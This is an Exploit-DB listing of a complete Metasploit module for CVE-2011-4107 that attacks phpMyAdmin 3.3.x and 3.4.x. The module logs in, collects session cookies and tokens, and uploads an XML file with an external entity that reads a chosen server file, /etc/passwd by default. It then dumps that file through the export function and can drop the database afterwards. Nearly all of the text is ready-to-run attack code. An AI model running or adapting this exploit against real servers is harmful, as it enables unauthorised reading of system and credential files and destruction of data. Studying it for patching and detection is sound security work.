标题: phpMyAdmin 3.3.x/3.4.x - Local File Inclusion via XML External Entity Injection (Metasploit) EDB-ID: 18371 CVE: 2011-4107 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-14 漏洞利用脚本: # Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection
# Date: 12-01-2012
# Author: Marco Batista
# Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/
# Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7
# CVE : CVE-2011-4107

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::HttpClient

 def initialize
  super(
   'Name'        => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
   'Version'     => '1.0',
   'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
   The attacker must be logged in to MySQL via phpMyAdmin.
   Works on Windows and Linux Versions 3.3.X and 3.4.X},
   'References'  =>
    [
     [ 'CVE', '2011-4107' ],
                                        [ 'OSVDB', '76798' ],
                                        [ 'BID', '50497' ],
                                        [ 'URL', 'http://secforce.com/research/'],
    ],
   'Author'      => [ 'Marco Batista' ],
   'License'     => MSF_LICENSE
   )

  register_options(
   [
    Opt::RPORT(80),
    OptString.new('FILE', [ true,  "File to read", '/etc/passwd']),
    OptString.new('USER', [ true,  "Username", 'root']),
    OptString.new('PASS', [ false,  "Password", 'password']),
    OptString.new('DB', [ true,  "Database to use/create", 'hddaccess']),
    OptString.new('TBL', [ true,  "Table to use/create and read the file to", 'files']),
    OptString.new('APP', [ true,  "Location for phpMyAdmin URL", '/phpmyadmin']),
    OptString.new('DROP', [ true,  "Drop database after reading file?", 'true']),
   ],self.class)
 end

 def loginprocess
  # HTTP GET TO GET SESSION VALUES
  getresponse = send_request_cgi({
   'uri'     => datastore['APP']+'/index.php',
   'method'  => 'GET',
   'version' => '1.1',
   }, 25)

  if (getresponse.nil?)
   print_error("no response for #{ip}:#{rport}")
  elsif (getresponse.code == 200)
   print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
  elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
   print_status("Received 302 to #{getresponse.headers['Location']}")
  else
   print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
  end

  valuesget = getresponse.headers["Set-Cookie"]
  varsget = valuesget.split(" ")

  #GETTING THE VARIABLES NEEDED
  phpMyAdmin = varsget.grep(/phpMyAdmin/).last
  pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
  # END HTTP GET 

  # LOGIN POST REQUEST TO GET COOKIE VALUE
  postresponse = send_request_cgi({
   'uri'     => datastore['APP']+'/index.php',
   'method'  => 'POST',
   'version' => '1.1',
   'headers' =>{
     'Content-Type' => 'application/x-www-form-urlencoded',
     'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
                      },
   'data'    => 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
   }, 25)  

  if (postresponse["Location"].nil?)
   print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
   tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last   
  else
   tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
  end
  
  
  valuespost = postresponse.headers["Set-Cookie"]
  varspost = valuespost.split(" ")
  
  #GETTING THE VARIABLES NEEDED
  pmaUser = varspost.grep(/pmaUser-1/).last
  pmaPass = varspost.grep(/pmaPass-1/).last

  return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
  # END OF LOGIN POST REQUEST
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
   print_error(e.message)
  rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
   print_error(e.message)
 end

 def readfile(cookie,tokenvalue)
  #READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
  getfiles = send_request_cgi({
   'uri'     => datastore['APP']+'/export.php',
   'method'  => 'POST',
   'version' => '1.1',
   'headers' =>{
     'Cookie' => cookie
               },
   'data'    => 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
   }, 25)
  
  if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
   print_error("Error reading the file... not enough privilege? login error?")   
  else
   print_status("#{getfiles.body}")
  end
 end


 def dropdatabase(cookie,tokenvalue)
  dropdb = send_request_cgi({
   'uri'     => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
   'method'  => 'GET',
   'version' => '1.1',
   'headers' =>{
     'Cookie' => cookie
               },
   }, 25)

   print_status("Dropping database: "+datastore['DB'])
 end

 def run
  cookie,tokenvalue = loginprocess()
 
  print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}") 
 
  craftedXML =  "------WebKitFormBoundary3XPL01T\n"
  craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
  craftedXML << tokenvalue+"\n"
  craftedXML << "------WebKitFormBoundary3XPL01T\n"
  craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
  craftedXML << "server\n"
  craftedXML << "------WebKitFormBoundary3XPL01T\n"
  craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
  craftedXML << "Content-Type: text/xml\n\n"
  craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
  craftedXML << "<!DOCTYPE ficheiro [  \n"
  craftedXML << "  <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
  craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
  craftedXML << "    <pma:structure_schemas>\n"
  craftedXML << "        <pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
  craftedXML << "            <pma:table name=\""+datastore['TBL']+"\">\n"
  craftedXML << "                CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
  craftedXML << "            </pma:table>\n"
  craftedXML << "        </pma:database>\n"
  craftedXML << "    </pma:structure_schemas>\n"
  craftedXML << "    <database name=\""+datastore['DB']+"\">\n"
  craftedXML << "        <table name=\""+datastore['TBL']+"\">\n"
  craftedXML << "            <column name=\"file\">&conteudo;</column>\n"
  craftedXML << "        </table>\n"
  craftedXML << "    </database>\n"
  craftedXML << "</pma_xml_export>\n\n"
  craftedXML << "------WebKitFormBoundary3XPL01T\n"
  craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
  craftedXML << "xml\n"
  craftedXML << "------WebKitFormBoundary3XPL01T\n"
  craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
  craftedXML << ",\n\n"
  craftedXML << "------WebKitFormBoundary3XPL01T--"
  
 
  print_status("Grabbing that #{datastore['FILE']} you want...")
  res = send_request_cgi({
   'uri'     => datastore['APP']+'/import.php',
   'method'  => 'POST',
   'version' => '1.1',
   'headers' =>{
     'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
     'Cookie' => cookie
               },
   'data'    => craftedXML
  }, 25)

  readfile(cookie,tokenvalue)

  if (datastore['DROP'] == "true")
   dropdatabase(cookie,tokenvalue)
  else
   print_status("Database was not dropped: "+datastore['DB'])   
  end

 end
end URL: https://www.exploit-db.com/exploits/18371